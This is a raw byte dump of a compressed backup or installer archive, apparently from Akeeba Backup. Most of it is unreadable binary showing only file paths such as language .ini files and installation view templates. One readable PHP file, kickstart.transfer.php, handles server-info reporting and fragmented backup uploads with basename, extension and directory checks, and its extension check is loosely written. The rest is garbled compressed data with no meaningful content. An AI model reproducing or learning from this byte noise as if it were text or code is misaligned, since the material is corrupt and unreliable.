|b'Hً<e~B+NcR<u6sBx^يZh<w@^{<A[/JPF= ( installation/platform/language/es-ES.ini  s    mTn@+F9RhQ@HHSp`hK7fڿȁiK"g=3;ޛF4Y2ik*$4sRy]7?z_#BDK:r&=?|9|7kup@x\Z>͚ebŊgCv	e/Cj@ΓF|wRY6]<g<ɓ"5	4Qct$[ǫHN*5YQ%$F6b	VRnSC۰W\hs5n#yo(	55{F8#15+jWOڻUڃvkiƠA:n=nكHM.$?tTSPHY ]6TX0jɶ(j'$ ׭jml[ĭ
6fXr|cp\B G?ȎP;qgٳaDٰqp;KqI{qiL/qJl~;9̍DJki䝶͘n;t0ƶCNQ0I-|'UwlЍCXxѻ/Pa(DC8+%xǪqHom1]J\ Mv_|1lU.~JPF= ( installation/platform/language/fr-FR.ini      mSnA+Z8Aq p'YjMf251~b,=S]]]}rB̷NqL>dI|Mc";Ѿnh;:ЇO=s^{"2Gl}ǿʖrYE~Q;4ʟ[Q=="Ȫġ;͗r8]-Ţ,/&dV_GM]7S]jYM1y57dQͤ9Rn.ErC:jĎZrQcnwfTywxX˟fW&l9׵;$4@C(;C+hVA)d[[QP"0_&~cᣂڴ_p٢w	Y9vI(ʎ%n5	J$H-hwFCsEKGd,BMfg9	MBF~U
jhЩßN,C[=S_fVO1K{0A~ＨFe1t(bT½5,ٞЈ>f>F_j_k0Sk^>	L.h/@Kp9n5ŁZ-,	c	$z-A};luoT{r+, ᐼE]Q4ⴻlCJPF= ( installation/platform/language/it-IT.ini  n    ]Sn0}Wyj.aK7,M֘v(6sDM3t_;c#!9do[:1D&[(JO.&S# l}NJv]<#rǍ	uxqpkXuXh_.o-zJ }PbN=4&bʦuجul.eOésRo~Jj	4]nl'7i\+)Z5M *B
ZGYdބ}{% 8QSq#4{
,^$Aj4A 5Z
($ԄqŎ6qJzH}7Cv;rF+dXP|J
g?D֭><]kFRilC5بuc[)-Fдi]hg}33icDl{zʮ+q/XHB؍yfitb=dkYYJ8IT>QJ#*+LVViw$:I{Z7)>.:[9u%3.g8pFwD!#GStN+jow
ae޷|МΞ u==Wq8JPF= ( installation/platform/language/pt-PT.ini}  9    mSMo@Wrj8HSp`hbOU]ww](qF1ޚM%ٝ7o̎F4Y2rq6ƲWFS^Xh}hk!u0ͽU덧8~JU1;83dw1me?M|T!څ5]% JvX:"cb/;,ϯbϓhqQOysG.g`r8]$">]Ytqnk*!GuVXϥmp8<"ojZJU-->:/B"*S~'+<[0!icM![kψO(=/+n~.K~$G{eCqT0`Mf+hh8I<iR-ܶAk($_3ygϩ? ,Ⱥ>}4Lmy8:4lY|S$([H߶A$i#}4U=΄&zk'-9lW'"w0$Yw"
=İnpn ^D,5n>,q!X/BwqFo_RYVon"ɺU:<mJPF8 # installation/platform/platform.jsons        TKMURPr

qqqwwstV*+, +KOK-L+)X)Dsqr*&f恄9RKS!̒Ԕ̢b@Zf^bN&P3 JPFB - installation/platform/src/Controller/Main.php   b    UAK1s"T<)n-=mAɴ&a&+-m7oCDY
Z}`=h"bb)$@ ZFp$"L~L,꼕kxNaG3?QbQx-_aIZXm`qߑxt{ʈ̥NS7<6zӬth&E"?5Uˑ/Ҹj:U鴮FpTÀ~Dt_|
PK     \$l  l  !  installers/kickstart.transfer.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('KSROOTDIR') or die;

/**
 * Akeeba Kickstart Site Transfer Helper add-on feature
 *
 * This file allows to remotely transfer files and perform other tasks required during site transfer using Akeeba
 * Backup's Site Transfer Wizard. The features inside this file can only be accessed through Kickstart. Trying to access
 * this file directly will of course fail.
 */
class AKFeatureTransfer
{
	/**
	 * Returns information about the server we're running on.
	 *
	 * @param   array  $params
	 *
	 * @return  array
	 */
	public function serverInfo($params)
	{
		$maxExecTime    = 5;
		$memLimit       = '8M';
		$baseDir        = '';
		$disabled       = '';
		$maxPostSize    = '2M';
		$uploadMaxSize  = '2M';

		if (function_exists('ini_get'))
		{
			$maxExecTime    = ini_get("max_execution_time");
			$memLimit       = ini_get("memory_limit");
			$baseDir        = ini_get('open_basedir');
			$disabled       = ini_get("disable_functions");
			$maxPostSize    = ini_get("post_max_size");
			$uploadMaxSize  = ini_get("upload_max_filesize");

			if (empty($maxExecTime))
			{
				$maxExecTime = 5;
			}
		}

		$server = 'n/a';

		if (isset($_SERVER['SERVER_SOFTWARE']))
		{
			$server = $_SERVER['SERVER_SOFTWARE'];
		}
		elseif (($sf = getenv('SERVER_SOFTWARE')))
		{
			$server = $sf;
		}

		$infoArray = array(
			'freeSpace'     => disk_free_space(KSROOTDIR),
			'phpVersion'    => PHP_VERSION,
			'phpSAPI'       => PHP_SAPI,
			'phpOS'         => PHP_OS,
			'osVersion'     => php_uname('s'),
			'server'        => $server,
			'canWrite'      => $this->canWriteToFiles(),
			'canWriteTemp'  => $this->canWriteToFiles('kicktemp'),
			'maxExecTime'   => $maxExecTime,
			'memLimit'      => $this->memoryToBytes($memLimit),
			'maxPost'       => $this->memoryToBytes($maxPostSize),
			'maxUpload'     => $this->memoryToBytes($uploadMaxSize),
			'baseDir'       => $baseDir,
			'disabledFuncs' => $disabled
		);

		return $infoArray;
	}

	public function uploadFile($params)
	{
		// Get the parameters describing the upload
		$file      = isset($_GET['file']) ? $_GET['file'] : '';
		$directory = isset($_GET['directory']) ? $_GET['directory'] : '';
		$frag      = isset($_GET['frag']) ? $_GET['frag'] : 0;
		$fragSize  = isset($_GET['fragSize']) ? $_GET['fragSize'] : 1048576;
		$data      = isset($_POST['data']) ? $_POST['data'] : '';
		$dataFile  = isset($_GET['dataFile']) ? $_GET['dataFile'] : '';

		// We need a file
		if (empty($file))
		{
			return array(
				'status'    => false,
				'message'   => 'You have not specified a file'
			);
		}

		// Let's make sure the remote end is not trying to do something nasty
		$file = basename($file);
		$pos = strrpos($file, '.');

		if ($pos === false)
		{
			return array(
				'status'    => false,
				'message'   => 'Invalid file name specified'
			);
		}

		$extension = substr($file, $pos + 1);

		if (empty($extension))
		{
			return array(
				'status'    => false,
				'message'   => 'Invalid file name specified'
			);
		}

		if (!preg_match('(jpa|zip|jps|j[\d]{2,}|z[\d]{2,})', $extension))
		{
			return array(
				'status'    => false,
				'message'   => 'Invalid file name specified'
			);
		}

		// We only allow very specific directories
		$directory = trim($directory, '/');

		if (!in_array($directory, array('', 'kicktemp')))
		{
			return array(
				'status'    => false,
				// Yes, the message is intentionally vague
				'message'   => 'Invalid directory name specified'
			);
		}

		// If a data file was given, read it to memory
		if (empty($data) && !empty($dataFile))
		{
			$slashedDir = ($directory === '') ? '/' : sprintf('/%s/', $directory);

			// Do not remove the basename(). It makes sure we won't try to read a file outside our directory.
			$data = @file_get_contents(KSROOTDIR . $slashedDir . basename($dataFile));

			if (empty($data))
			{
				return array(
					'status'    => false,
					'message'   => 'The partial data file ' . basename($dataFile) . ' does not seem to have been uploaded.'
				);
			}
		}

		// We need some data to write, yes?
		if (empty($data))
		{
			return array(
				'status'    => false,
				'message'   => 'No data specified'
			);
		}

		if (!empty($directory))
		{
			$directory = '/' . $directory;
		}

		$filename = KSROOTDIR . $directory . '/' . $file;

		// Open the file for writing or append
		$mode = ($frag == 0) ? 'w' : 'a';
		$fp = @fopen($filename, $mode);

		if ($fp === false)
		{
			$modeHuman = ($mode == 'w') ? 'write' : 'append';

			return array(
				'status'    => false,
				'message'   => "Cannot open $file for $modeHuman"
			);
		}

		// Seek to the correct offset
		$offset = $frag * $fragSize;
		@fseek($fp, $offset);

		// Write to the file
		$written = @fwrite($fp, $data);

		@fclose($fp);

		if (!$written || ($written != strlen($data)))
		{
			return array(
				'status'    => false,
				'message'   => "Cannot write to $file"
			);
		}

		return array(
			'status'    => true,
			'message'   => ''
		);
	}

	/**
	 * Can I write to arbitrary files in the Kickstart directory?
	 *
	 * @return   bool
	 */
	private function canWriteToFiles($directory = '')
	{
		// Try to create a temporary file
		$directory = KSROOTDIR . '/' . $directory;
		$directory = rtrim($directory, '/');

		$testFilename = tempnam($directory, 'kst');

		// Failed completely?
		if ($testFilename === false)
		{
			return false;
		}

		// File created in another directory?
		if (dirname($testFilename) != $directory)
		{
			@unlink($testFilename);

			return false;
		}

		@unlink($testFilename);

		return true;
	}

	/**
	 * Converts a human formatted size to integer representation of bytes,
	 * e.g. 1M to 1024768
	 *
	 * @param   string  $setting  The value in human readable format, e.g. "1M"
	 *
	 * @return  integer  The value in bytes
	 */
	private function memoryToBytes($setting)
	{
		$val  = trim($setting);
		$last = strtolower(substr($val, -1));

		if (is_numeric($last))
		{
			return $setting;
		}

		$val = substr($val, 0, -1);

		switch ($last)
		{
			/** @noinspection PhpMissingBreakStatementInspection */
			case 't':
				$val *= 1024;
			/** @noinspection PhpMissingBreakStatementInspection */
			case 'g':
				$val *= 1024;
			/** @noinspection PhpMissingBreakStatementInspection */
			case 'm':
				$val *= 1024;
			case 'k':
				$val *= 1024;
		}

		return (int) $val;
	}
}
PK     \9gE E   installers/brs.jpanu [        JPA  A  Jf*  JPFC . installation/ViewTemplates/clionly/default.php  <    mR_o0n>ũaf
-tc2<ű/UǶl]=d.nlclH`%;'8̝0vk	j희 _
%ob,#X)!A2Jr>
?{蘂]I؞t>fz{Ɓb$N`7w$wE>VH	7$)< t3'4NK"A|̊&_Ԯii(6Ȉ	e=u䱑ĬIbPfhY[L90'YH!PWdCF |ҬT((Y4(
*	іG܊@U9:%7uP@0:qP9Bhm˴ %5%\Fz=>TЛ!"knTOKV1W`29 (8g=^ZG/T*5")5q^G(2Z:9JPFD / installation/ViewTemplates/database/default.php  W    \s:Nٴis77KlxpGl``An llc7	=wd.C'?}R114D:ia>2)a~ż
YZӁuxD?C=r_QFAL FG]j<"~Fݣk{nj/(f~y:3V_p>'~ҍ])6qL>Љ~?SDyR\	m>.{pM)<mn]w{ 3t~~KIsqVjhUwxmMު^yw6騼}p4'sy#7FMLKdM"(&i	&hI؍{g&qvlrFC]FJ$Ac#lA+&`ƎSdo39^]@Mo򪱿pb&<bm$-׶a4˴^H.( ,@La1yOʣkS/L^%3X!-y%QvyDBWR P螨m9+]3}]k2U>GkdN>K
ٔ&TҤ7#!缱@ɵtaQ2Q"#A=KT0
P3Yj<F8xKkdn 3+M5VsXD5X_7%~x8~Ӑ&.ez2/0cO1q| \9P}p Ԗ	$]t)
NJSR3*\eKQv:̣zTу?;<Pw_`3=%)@7kh	kjwkh@vC6PP\#YPbp#!{$UqrR"Αd2B^j!$#\ ^o#g%+%[w*,mX42O-kލh m^m]J$0)@g@ʰ ڲ+??ޚ(BH?{B#vշ{0] ^`CXcɾbBrگRڥcm(
ua!*dIpNbvN1+Hd U''o	"BYa7`kO!O4AX-(xvZ[L-5ǐ9
{v/,oHB?!`rn<Q*]d.U<%
KT1hXطzJ-	s6MBN*-Һsm|S?(
r	u{ktUc=-8DZr *AH}J6 )}QMRI2D?B{1dP,EӘC#{.!ڈ]9ɣR~D2̞bgy
[\C18><֊aPD VHd(:C 6\uo{F*#b	aUBdoaC,~;R [f]9 JLf	J<Q@l+|N+ϼsh4Xx!`"/խm5tD@\WĴ&AOV.oR~¶>,Y)FejIČC'K]y<z.zo68O۰IE~N~{Zi\)dr
2V*,h"xf8+*N5}]جTd㥯WfK̊}jW;5>2^zavD Ϫ0"#VDkNaYjq>WnFNʛlOevx+-:߬;	ްqCDiuY9`KBU:OzdY,PQy׿@Q1Y05q*-XPEl"d`!s6R_m*Ӟ_dz}&2N{sVmqUBEVP0ńr|JMI;z@1~tX>+!ͫ)=(0%8 B9ʱ 	;/;.QNlAMtMHn$F#r@8FOwNaRPPAr	AS+>ݶ>*,7tMzn<ZM/U_2rUZe=l}$j;
ARj
H "b@EDs<fx}-2 X6;T?{ xCWwfhF;{O&0u|!;$RZҳMW{Mdh:<,0-!	bvZ~ٱ.+98fm=5V5g5Iɓ%eE?vAw]*+Ϧ14=9O
㶜dD&d$;H~YvR`i[~0.Q3tTnӕ7l'a?XH+H킍+~;Fd츤jVQfa+pkYVGv0NUh9]!A~d4JwX5R$N'J1JT3U,ecUNiNVEChnNKVYH\"bdmf\;>i_SYK3|!7w9%Yy,6sQk9S>)^\mj=IFNzqs-hXns[]M՗SpVOV*b|t'ؗ,rNkn7	%m_:׽5_>o)<IBZHďLDU ^kA? "zBG6U!kw]"&2_m3EJZZa8So4_w%ڔN%	DeȤ5`4:7v&扌!^ hY7zUw{uZkmSYo[ NCؒULnTwc5(1r!e^BYY4z816!!Aۦ,Ian*4,ty8`%/?8/P|8fqtMno5:lo]0#?a#Ђ21ޮ]5;ֹ,!*A-]S27a7tX0ưK:v`?LtN~VdGkvzྗ'__"W~7fn^D`q+4V}d?yKn_8
jkd䙣hy,S~iMuZ獋XsYjC<91H\>kO(ԫ
ڭ̨[boĥmMl-
JPFI 4 installation/ViewTemplates/database/noconnectors.php  %
    ͓oo0_OqBhzf)mD	KhJHIđmеځ1.iAAH<"$XRrKF?;<# pQ,tK.w{~s,}">
y˰$~\	灺B':!p%Wt)pv9qה܏{X 24]SQ(v%yp8A]ILUܽ^-lJ+#wzI'K(VwWە#n5 Bӄ<^PȒy稥t!*I*Mi4c9ΖT΃49(QDsRH^jXB#	)%F1@Wc6ZBK'V4:xth%-weܩnW#cqXݑAg0[f,[i&rN39п4!ɵ,|A-+]	4PS%R$5PY$5^m/oqMQW'J)+eZ"U&HD6Ҵ>/=eDG0)1z=7AQ_p"PK)k)	Ҁ%ݨ}dקP G?]GX8M\o{>M*97}s+=+rG}k/Zo?We;g
[+/vm{94Gvأt'JPFA , installation/ViewTemplates/database/nodb.php      oo0_7*P=Z^lKIS6irX;
~79'Ue]-K)4[<1c+	Lw` jd2Um5/J7ǨuO0Y5$UZ(CǱƁ&I:54 AP4{ska7gϳZRfv%ܖ4s6]focvnʢF~7z^5dǄ-*М˅jC '6)Q$"Bnt6`q#cqA9%%s&Ö5k$%x4י`p o\b09NW"So	Nm90)&N0,S2G+ie)רCtX?r/ Cw$v>yH8o5rPAդݟ|/0ZΗfCg#69vlLv
1./e8㰣zJPFD / installation/ViewTemplates/dbrestore/dbname.php1  '	    Umo8WP]"5R*Rr!֍#);ޭN<x{Ŧpڧ9%W>MBRDNDB#>BbJ"dF񟛴{gȔ%"~#Cd+QEڵۉN-g	ʰ2$二qLw W"$TD㤰f9ns|
~l@m]8u$?lXڐayo99*;M:Ւ@D):n~MNĬ4O8Mft&Qlip.`J{]fh\tW϶'$O-lZq9npSvG<?iPR;z)a!'tEN`?0utTp+F&l.@)Lkvqdo0ĭv(j]<m+03H51'ŖY*{/\{1-@q,[aCy%q38ReXY459n$Jͱ<(6ro)ԋEqIP *1K/i]Fl[堒Qv*XSnɋd/Fc6iU=`jO8(UYU7EWb41
;?A9!{#Hw &u?IbH
qΨ|})D`x<n7o㱠3xO޼}4@EZ<swՀ_<"g[JPFD / installation/ViewTemplates/dbrestore/dbuser.php/  	    Umo0
U"Tik(mDS@	JVMM{|s:*9$7.ҩd	C36},BH UqVxIoGGo2*LI*\4#X(> L<2]^Tg$D0'na"vĪ}$qݩ?a=HR=аѤUv&a i7o.XJtږ^A_6]n/&So|o8>2&sֶ{-/#w8.@,M&c:L?yP+V	+0i5-pÀXP 6^4R1~Rp4fg
ie3#W\  ߹+n4NvfAk7RtMJ喆h^$'5\*w٪%%{:|10R*v(NkŬjG"bKs-d1"iS!XF7LDӨrJ@|S`0R jՖLԈ"SadQaKQfml Sp<#`>Meܷy`'C$b(v`/c~L79MIlnAIVaXGpn00
wY;SF-8w
wGen-Bp%Obzg#臟JPFE 0 installation/ViewTemplates/dbrestore/default.php  }    SmO0L~!5E:1#mKҢؗJ#鋦!!~yaX^#G3gcY)h#3\d(^XY !$Vڝ$*-yyir1VBBjҪӎLb	@m9䦌v+PHE3йy)<Ҡ]EQhZ@!hzгSd^=|+'IC
zh`cH:@a"4>hg%Vy/,:Aص>K;vmߛEi4L`r}=/F"N'SDy(-)_>q+M1%(&BL$I
SFsеGZqN5h:G^*?zNS;(XqYٴwrv'>P%W15@JySnISl+0ߝWEfa\dj,c~rFF`ө2maRf552HSX!Gsg3
dBCIagh_J2Ucz3]ͬpu7oO,qxp_BAVzzf3F(Q=kJPFD / installation/ViewTemplates/finalise/default.php   3    =MO@+ރ	Ш5o1꩗2o[xffʉ4I,%aI8l9D)*k^eu:0҇Aֵ^i,'ӻ6JVVS-;Xu$ЃWOذ'/}owT_`~"-]xQ
\Z*V*<b?L[/Lʨh<JPFD / installation/ViewTemplates/finalise/minimal.php@      Xmo8\~;ʪ鮥ݥ4VT9!V&7v^ zrHcxyΧ؋++#>SjtMy,*dĉdQg9j&E\'W<zձSk6h/@utV"	<̡P莆} ҇/	87**
p}Ə]<޲L/21W|t)e2fTP~kp6hٞ%sΪp&êOWJS\r <d.{A@$.S.Qa21NWy6"C=rZ%أU\</D< 3148ьĸ-e񨣘olv89@x61	S;c\KҐ|NNC-baR͟aHOfL9u.!$+	饁0ħ>ubNJXqJ}Wo?6׃h<͏j~5IAV^5ix- cŞa2+4ފ.6"RO~ڽI4z[Mf6;",5S7vdݙhxۿ %!	heR'5^BȎK94ʫj20F3T9ho:k^Tv%̴JKcGa;rW2'ɉ7XQK]SQmJ)if,d	Pq❠i'iU'Vz1ɨ(3Oz"$6oϥ*W1xMn'5,p"+H,^Eob;Ru[U}U-Fr_L ZM]םJ?[ENBRkHݺu5.b~4Ϳ'Om\̝w;Y6#jEo9~wu|6.izgγK|n1Hxҵ&բM}T7u@DR/*E?cI2O|HC@Û`44)JfRr2~`mA|D!D9;ךN|IVJ2D9ҥ	cA"ffjp*=0K$6</J2ȟ<ӕ4:XCM}B,S'O։FUx`4*Amނ;G5mI<N4{ASp41-kdw1"@.υD]L\3$mk0'YUL.źvkyuMem[c	z=s<Éj{g\'e,bQ'W7r !± 
9RՑK]q:M(zC=;G_8\ߴ~'|[	M1rP]UJPF@ + installation/ViewTemplates/main/default.php      Ro0?4/~XC(FTII\ֱ#al
 m_tݽw^AlЄcs
T%<0c+	T".K6Oʵ.ևV`81Os%aF@;%xʤqoƏp$Tj0z}\2m;PLcq8)pNmL7ͧgw-G
*݀I`JI]9Hrk %A,H8KHQT0mGaPX	dH۽%{IlJ*w8J f>WaGF5	\ް 9Ge{6#cPEǳ`4nZz8+om~:OΕR?;wyl.T\˟N|!	0۽ka}e~Ϻ!')K"Fx`ֈّf%x\0%x ۔<g3gx8~O\n'g=Ӽg޿JPF= ( installation/ViewTemplates/main/init.php  	    Vmo6V@NPmub渝DUztL/0ON0z@8\a*ͭP,C-rK{ 6Nqbᦝu7|E(5ި\R5lT"8bKx_t pڸ._ EMƽKnUvuX~[q~6ơ_X|Я6 F{2K8r%₲U$R*t*ik٥C}j+˽aT<e{LsRO{/ʵWvzuj&4!\

8bDXm1-4"\8cOjيP2-Yhzj6ܕwzv=[/&?]Lv>]6Lf=]vc߫^sm`3"ʉI=*|B6ErfUsWܠMJBhhb3Fi<Zpڃ~8ko*H9DHY0}fAC\=KDaDNhV}n:MC>**i|ǸV,R$QzM˺I{UK֫fД6]te '0/7B6Wܔ'L
>g u~2r}n2i
U?$:o]/ϐ'O?|{˿q_zJPFE 0 installation/ViewTemplates/main/panel_checks.php  
    VQo0~.ℐftݴB4kQ!4	2!VC Jim2'}3n~y`lBЇ,!*D$<Uhh@f &B/4IWBzfg/s&pq%4ɢDBڶqb_pb&H߲	.@\\0!sb :jU("`\ φgx|ԯB.רDjobdΖxo}#)̆?HMأNeϘrX![&̦~7ĳn4Oj]Vd1T٩/zBXPk{m21bN&Q^Zs{,ei?߻{u;hBWTM8CϽ<;8ǽu4qnnG[HcII~`Fhf)*`q	TII$˂^;JOZ6w$⁉d0M<J`@_4+_lNӁ)t̾<XS9D	EFlӥ $@g*h/OOJuq>2՟d="M{mx͜`,Q `1 2Vۭz]h]^Qzxe(ݫDYrKܶd~M7m3_,ECG{ɌR&F[5(ﰢh.;[KBJ|W	T7XeQX.NJPFC . installation/ViewTemplates/main/panel_info.php      X[o6~N~ŁMNQ6n.{hN^;nD[ltI'!)%qZÂXHsx.>9lw]x{FΩ?͠ǤJU<M)ܣ}p0 	if4>	\wP?8":ӈJ.\Y:R	űm^Y"5-\	tZ7
bw*
l{/=]S}RqTȥJ .D>&j{F4LQ[wIGMd`	"&sG99	ŕfO&dsR+ifJ"aA52R?Gl4ⓄpbIPȌ&%!$>wvuL+:Ϛ{luzzG݃3m_T)4g8hA@4Z, d$J'Of9
6n8HԫK~TpJж
yqUf+SfsyrJhNB,Mn+a=tտi7)UԊc
$ӌc+e<{Z`a?<`ڷ@aHa Me|5gj^ˑ_l{oB#)'z9xtd,޼^l9* {9Kol&5PE):X!}1O"9)O><*"I)5d`\Ucu޼|{#9^z^gCY~.>඿D1WKt>1djS:.A kuot,[nl82bzH&ey6Kǭs^6:!υA5SŜmqϿ4ۭK#R8,^x|^~Ĕ	T8nOڲ=s'8!!LJ/vr=
RrEsVP+s^L{mUݍ.2H;37otNpgRRi)9BQXt+M]UP,ْ+,+V3pT$XmXCcV pmZ"m*ۧhr<27gobmklji+g_Vg]fChy.(%WX#~ٌK%knKkmk.~@4af/o2c4"(*AA̮ƦD{QNLV=v0v*5b8[qxX h0םҢV+U7iZ=h]uoT5i!":bQĂ|iG[O? 璀(-;eb.39e	Md>VڂrIWz0ۆ-@%~aeK9˜o</ݾIJKdj/GtJ|1l½EX`)SyNéq|WyBŴ\h>ȿ׿JPFG 2 installation/ViewTemplates/main/panel_overview.phpl  2    ]O0_qT!ڢe2bBhSI*9m,;NG4.C4"Nl|r<ɝޞ{лEz[BJkccNsc@ s*dDW:>Bh"R=Z\P~8v㒕2\YEpQـaBl`@HHFiێMNWDthztD~Y
;:aZhpYpKgkc*FJ06ZGsuϖ[UTdc݅[w@͋
):rtUA)*6(פir)Vfu[TN4AzR&iv~xAT:Ɉ8F~\ײzk[N	Lp픇Լ[ڱl7~x3Bw*3y|uz#?D?yo^h-kqES!7,#r]KHc^%LJ
|*I*=7aFM`0Uh2v;*'v`P_`<_jEyCL1_}mz&At[_R JPFG 2 installation/ViewTemplates/offsitedirs/default.php  }    Vmo8zTN,՝T9!VMcvCەK=o<3݋ø:;3#OIfTi!f"B/YAǨ}A(Bȓ"I
5o~
o4a~(8Q?x)Zyر/|)nhD%>@ƙpC2.!!'J0nM*HH.gtTLӀI)ktF^ꁈ4aiϧNUi7'1ѡz^ȒU0A>:ZAD2C48Z&ԩP@4Hw'gIF'ޮ
)	Ǣ>wk>L0ȧC.J8oYÏ蟿0*""8
Je*ëCfī9MAq<O[w4ތfaf8{Lo4QnWY,/MbH%=t}eZ"`j
d^:Mjr֫DsXU*A5:?!PwؖZY
y<юaMYkdmqɰbM[%Z*@S}6)127܇`躶=P%Z;~]nCT/p~L `I.	t#@;FMJ{j٨BRW2gX?I3X/o˂q%׾;OiIͤKW,Z
;_8?'h:5=ve,F]pЇ<!av mhGj }tSTذw3G1}lbKآbێJpr[85"8!KVKpf8]4iexr,<m`gp
IXv27YqR5uVe6.5N@?&*y|+%9JPFD / installation/ViewTemplates/password/default.php  .    Smo0L~)Ts>@TD$$&pvh;'M:${^0Oss|1֌.i.r1c+	Hw"4a jSD*jf}=;'8|	R%FĭQ*2Щi6.4nwL2ML07L'A-ӘP
vq9/qRc^6pdSn\Ƒejf#m][MAeRf7x^t4r	|.czun'w<,5렐BEk߃a	Ld%+DJ|ťLZ6PIe2҅tkȌTŁ?}?q&T-*Qj2cڎ:98;8<3:FyyF,Oih.>pc9gxy350,	:i)ŔbI_ȗOb͐Q	.SV{#h% u<{Q<.'ǫlDwbY	OC&\ros-4WfE1]k`ksA#_/J>h5҆iw: <2~DBaa->6,7ۅJS9IeU	cy\59oU0L(e/?9jNIk`˧ɾ镓VןJPFC . installation/ViewTemplates/session/default.php      Q]o0}&*aiv뺊E "Mse;\BH}}}9TKDq c \кp2avM E (:GQ6boM[5ٵ+;J	W_nk4mAuGcCC(Qf'|_3?]N*.*^oartWpԝi)`!AjIݲK9v=j^QYGc*C(Τ*K'3-zXUA/4<ogx|8*)uEQdܫ
cyh21)k|SK=f8Yy^`S/c?2izݑ]j<VG:ϖN*tu:g>NKnշޘNJPF)  installation/cli.php  {    Wmo6lkVrG[C6u^xuZi:0dlHC(ۑ;<|xw~(.BŨ?~<оB&pWe:m'Ԉ)H!# TS#U6_%D»8"cS]Jm!{̛"Ee8A&+51ڀL:ALPsTa7BA
4Jtf^$ї$܆{0xͻc9E=	9֔ʉP.]s>N;'n|œ!pAi	C	a};/0}%~"І@-2REA̮8J5鷆hstu^K|H_+%?(Ê.! "k=SeSI6)	Gz=kEQFKcQ^e$(/`$$s^*bHv\-""ŴtA24p+/Du;B̡w[ԍtU`K)"}`ؚ4W!١Z]T#mRޤEzZN	ivxq 9w3l,HXTG ou6{ri'ӒLxfO@*o]B^ZU	ҹ}Qq8.tI,!Ro;7xsσg1qk9!5TRפ{A]ls]K[,F8{
-;Fcvmѥ7YԬ/7Q .z_)3-nLVL0j]HL,؈Т$&ɛM4Y22Y6  {~OdEf19$}4GX+ZX
j_A,kuD(\vGJ9hKr+Ifn0U{EryPuUCRxIy/|ݯɪL-Zk|?믔Erijr<a7>>Пab6Ce؄gQZ)bZxl6)81"{yw~4ɔaݤt.ύ83娶jH<+:zM҉D
]lf*NlͺAD&FQ{=`[T/tHD!Fd^zh6gh-d-CQ^	1AtҤZRn52c"Ggf6
{>beoa!U١Tͪ*[vL۶jQ'3{DPuFҺ7L9f23܆]XV!ZG?p(,[Ȼ˗LJPF+  installation/index.php  +    XkoIL :IV+8gNG;ZP]@zQ[v6iq{lyg=!f</X+UJP{@D4ƭ*[kXZzW?O2\80N qmTX+6rb԰HbgؠrVhÆ#)и{t*IDj.ULTU$`:|A*;X- _i|zxzrCG/ߩ'wa%"QjuZ\J58>~{~:=lzd\YӉTY4A>}
a RA2ɔFPs@/'VJ\g`@~}<3Vm>~Jm _ӽg"p!XyL)]cwNHڈVB5*LĔW:p	jd'tyvYR፧bRo
}Ni@m/lwAڇHJˬ&\xcmu1dJ'd YZX>WANE4鿤ƊV
Him麺v}[C;0ai-b5O5V=*H"Rگn5oGK_vV]"AwBam!l:⿽Ve_YA-YBK
oS'*s	x{sp׎Gpz|sn}ek9̨#!8Ba~HAw{nO.yB\(ʆ7# w%Kq*DJgRAY.+(PH"-mVj6-*('KuL5)q5KllW'9Z8B.ERiP\+LE(aΚŬ,w5 + TZxni;B;%3h
cK7JWsE۔N"910(RR]͠g?_)Zk3ϩm]o/*4Y'Dk ;2L^EKSeMvn"¡A01ss1G  "jD9jmTp;[Lk+pQ%JʠJa.$]X_Ĭ?u
kwN6lZkw`ZjUYժugKFPt68[	T*B/ؙ	k*cVCNs	O+uhU;BͶ~a&9\wU{[v@gD՟lk~(f⬟0gpvp
v.}ZDLK+}[jd9/ m^	AAZ"kha0%tW3R/ꆩUlAmD T܁L9;lˆnkavk=:,=~0&<)fhk=B3(j^lf;uG̍Z$֑?qϳOwoιE!Dے57taw#5vapsyC<s?:E_ҹ$~0?
cU|:V+ף]~]
yǉ4i
ӧR6*Ou/T?[~kp8[i1&A4r=;O*sE`"MpmEsILG4]F}z0]*|ݟJ
KACb8+eAڡUJ2-*Ȯ1}=P̮x9ױ8ڛ}##ok17m c8b[ucD9S-$tp*`@V'uEcHBh6i|uFIzDY0yQba	TY=88߬]`Y8a͡	'n'=X9pT.*7h6؂d'L:5l"3*hnv܃n*[,
*ǕhNǞ͕yC0&Bz=rTY1ˑ`TJvҊWXbeCl2_3(v\H"\*>b^x`4,Bhh/Hۚh=rF}|sTJPF4  installation/language/de-DE.ini=D      }r#W="rQ&)M	$T`"@D1@GOsOS%A''%[c*eUt$x?rܛ0Ipu80iGh?+mAp:3K3j9R^|~t\A\46sެ:siƊ0p90bgNWx.cg:q'?*[7utb7MV`tiw4Z,p:n]d|z`'nz;eN˝pM5C]n,t>,J|cӱ7o̹ۦs<v~3{03jh"g%6sNf9Zn<z7D89Y4 7$C_$̝0`Ӈ nmǡ3\gaa&.JyԜ7¿yGQcXdM?;v&2u`)|ȷɵszFϲq;n;@s0I~0@d+P?@.)-gs\<4D0EyU?Ƚn~&}5{mE
T!;OeQC(Es>k<&&aR2
a*Xt %Q6ek1]L߮׫8P'v;'SMu.|מFS;^}ÚG$R?wC `r ln
vDԙ$vh-k뫛t$/J(w;~6QίOgrNҮС}qz1m|_&@4rΣ~x`(zԸD!ˣ#7xU,KE&{`X?=9N'; ~& Fx~s:wc}]INLnoFpoADAl7. e0 /O 5C 8?Sy̓S_muF)gۚxXݤpx3DbQxpva}X]28g;.'C9&dKmeݠDY̷ҁ1ïAA7muO+et2[Q
ˢdK	l~NAJ__a[ᯰMj@c'~V-pt/_FYn^?ߏ	y avLy $9-
OF52@M2Gɏ J~zs;}Ɓp_Cï 2 fqWKOǏxv,G7yt8dpLN]bY"L%Dh̐CcU5^qd0w44Qp`W⌓!\|y%W_[M|t`kZ1FF6*7ENIw,`;/]Α
9  v)J? OZtОIxb>CzXE}1H^be[ۅM:t<I=GH ;Ba<0t&a:}}5Q@ .9@U%\mkP<|țy&F!Ht=Õc$0R42HD֜' K;{j:\-.XHyJw?a '˳pRˤrѠs2A(o/ʙ͔fX"q\L!P|#rfMsE[R'Ek8'o ((/&Qo(ps'֫^S`aCLVkx,t/!eƻcklh}vxZh۔Z㖚*q?vX6+L ~68ʺ y XFS6Gtr
&&]gQs,*8nQiJ&!.2։Gm)HBEe,NrLj4HqJ#OuzᘩC.{f|Cm/{' d:}l-N!F׀AH7L7d3P\sZ)B
o}+	 T7lln1&^(b6&$7H4A9wBق.Lq 4d] ɍM5A` ÑM;(
